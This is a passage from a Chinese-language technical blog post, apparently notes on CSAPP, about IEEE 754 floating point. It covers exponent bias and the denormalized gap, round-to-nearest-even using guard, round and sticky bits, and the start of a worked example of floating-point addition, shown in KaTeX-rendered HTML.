style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">6</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">7</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">512</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">7</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.013671875</span></span></span></span></li><li>差值 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.015625</mn><mo>−</mo><mn>0.013671875</mn><mo>=</mo><mn>0.001953125</mn></mrow><annotation encoding="application/x-tex">0.015625 - 0.013671875 = 0.001953125</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.015625</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.013671875</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.001953125</span></span></span></span></li><li>百分比为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>0.001953125</mn><mn>0.015625</mn></mfrac><mo>=</mo><mn>12.5</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex"> \frac{0.001953125}{0.015625} = 12.5\% </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.015625</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.001953125</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">12.5%</span></span></span></span></li></ul><p>如果用的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow><annotation encoding="application/x-tex"> 0 - bias </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">bia</span><span class="mord mathnormal">s</span></span></span></span>，即：</p><ul><li>值 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0.111</mn><mn>2</mn></msub><mo>×</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>7</mn></mrow></msup><mo>=</mo><mfrac><mn>7</mn><mn>8</mn></mfrac><mo>×</mo><mfrac><mn>1</mn><mn>128</mn></mfrac><mo>=</mo><mfrac><mn>7</mn><mn>1024</mn></mfrac><mo>=</mo><mn>0.0068359375</mn></mrow><annotation encoding="application/x-tex">0.111_2 \times 2^{-7} = \frac{7}{8} \times \frac{1}{128} = \frac{7}{1024} = 0.0068359375</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">0.11</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">7</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">7</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">128</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1024</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">7</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.0068359375</span></span></span></span></li><li>最小规范数仍为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.015625</mn></mrow><annotation encoding="application/x-tex">0.015625</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.015625</span></span></span></span></li><li>差值 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.015625</mn><mo>−</mo><mn>0.0068359375</mn><mo>=</mo><mn>0.0087890625</mn></mrow><annotation encoding="application/x-tex">0.015625 - 0.0068359375 = 0.0087890625</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.015625</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.0068359375</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.0087890625</span></span></span></span></li><li>百分比为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>0.0087890625</mn><mn>0.015625</mn></mfrac><mo>=</mo><mn>56.25</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex"> \frac{0.0087890625}{0.015625} = 56.25\% </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.015625</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.0087890625</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">56.25%</span></span></span></span>，差距过大。</li></ul><p><img src="/images/csapp/float/exp-design.png" alt="图片生成自 Gemini" /></p><p><img src="/images/csapp/float/exp-design-zoomed.png" alt="图片生成自 Gemini" /></p><p>在非规范化的情况，相邻浮点数间距是一致的。在规范化的情况下，随着 exp 的变化，浮点数间距也会变化。</p><h1 id="舍入"><a class="markdownIt-Anchor" href="#舍入"></a> 舍入</h1><p>浮点数在运算中可能会出现无法精确表示的情况，这时需要进行舍入。</p><p>IEEE 754 标准定义了四种舍入方式：</p><ol><li>向最近偶数舍入（Round to Nearest, Even）：将结果舍入到最接近的浮点数，如果结果正好在两个浮点数之间，则舍入到偶数。</li><li>向零舍入（Round toward Zero）：将结果向零方向舍入。</li><li>向正无穷舍入（Round toward +∞）：将结果向正无穷方向舍入。</li><li>向负无穷舍入（Round toward -∞）：将结果向负无穷方向舍入。</li></ol><p>默认情况下，IEEE 754 标准采用向最近偶数舍入方式。</p><p>实际运算的舍入中，需要考虑尾数后的额外三位 GRS（guard bit, round bit, sticky bit）：</p><ul><li>G（Guard Bit）：紧接在尾数后的第一位，用于判断舍入方向。</li><li>R（Round Bit）：紧接在 G 位后的第二位，也用于判断舍入方向。</li><li>S（Sticky Bit）：尾数后所有位的逻辑或结果，如果尾数后还有非零位，则 S 位为 1，否则为 0。</li></ul><p>向最近偶数舍入以 GSR 为 100 为分界线，有三种情况：</p><ol><li>如果 G 位为 0，则直接舍弃 GRS 位，保持尾数不变。对应 GSR 为 000、001、010、011 四种情况，小于 100。</li><li>如果 G 位为 1，且 R 位或 S 位至少有一位为 1，则将尾数加 1。对应 GSR 为 101、110、111 三种情况，大于 100。</li><li>如果 G 位为 1，且 R 位和 S 位均为 0，则检查尾数的最后一位：<ul><li>如果尾数的最后一位为 0，则直接舍弃 GRS 位，保持尾数不变。</li><li>如果尾数的最后一位为 1，则将尾数加 1。对应 GSR 为 100 情况。</li></ul></li></ol><p>三位足以以判断舍入方式，先考虑两位和一位的情况下为什么不能够判断舍入方式：</p><ol><li><p>只有一位 G 位：</p><ul><li>如果 G 位为 0，则可以确定舍弃 G 位，保持尾数不变。</li><li>如果 G 位为 1，则无法确定是向偶数舍入还是向上舍入，因为可能是 100 或者 101 或者更大的情况。</li></ul></li><li><p>只有两位 G 和 R 位：</p><ul><li>如果 G 位为 0，则可以确定舍弃 GR 位，保持尾数不变。</li><li>如果 G 位为 1 且 R 位为 1，则可以确定向上舍入。</li><li>如果 G 位为 1 且 R 位为 0，则无法确定是向偶数舍入还是向上舍入，因为可能是 100 或者 101 或者更大且 R 位为 0 的情况。（即无法考虑 S 位及其后面的位）</li></ul></li></ol><p>在 G 位为 1 且 R 位为 0 的情况下，加入 S 位后，可以区分出 GRS 为 100（需要考虑尾数最后一位）和 GRS 为 101、110、111（需要向上舍入）的情况，则覆盖了所有情况，第四位没有必要。</p><h1 id="浮点数加法"><a class="markdownIt-Anchor" href="#浮点数加法"></a> 浮点数加法</h1><p>对于浮点数加法，需要对齐指数，然后进行尾数相加，最后进行规范化和舍入。</p><p>假设有两个浮点数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">F_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">F_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">F_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的指数大于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">F_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><ol><li><p>对齐指数：将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">F_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的尾数右移 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi><mi>x</mi><msub><mi>p</mi><mn>1</mn></msub><mo>−</mo><mi>e</mi><mi>x</mi><msub><mi>p</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">exp_1 - exp_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 位，使得两个浮点数的指数相同。</p></li><li><p>尾数相加：根据符号位，进行尾数的加法或减法运算。</p></li><li><p>规范化：如果尾数的最高位为 2，则需要将尾数右移一位，并将指数加 1。如果尾数的最高位为 0，则需要将尾数左移，直到最高位为 1，并相应地减少指数。在此过程中，如果指数溢出，则结果为无穷大；如果指数下溢，则结果为零或非规范化数。</p></li><li><p>舍入：根据舍入规则，对结果进行舍入。</p></li></ol><p>例子：</p><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>1</mn></msub><mo>=</mo><mn>1.101</mn><mo>×</mo><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">F_1 = 1.101 \times 2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.101</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub><mo>=</mo><mn>1.011</mn><mo>×</mo><msup><mn>2</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">F_2 = 1.011 \times 2^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t 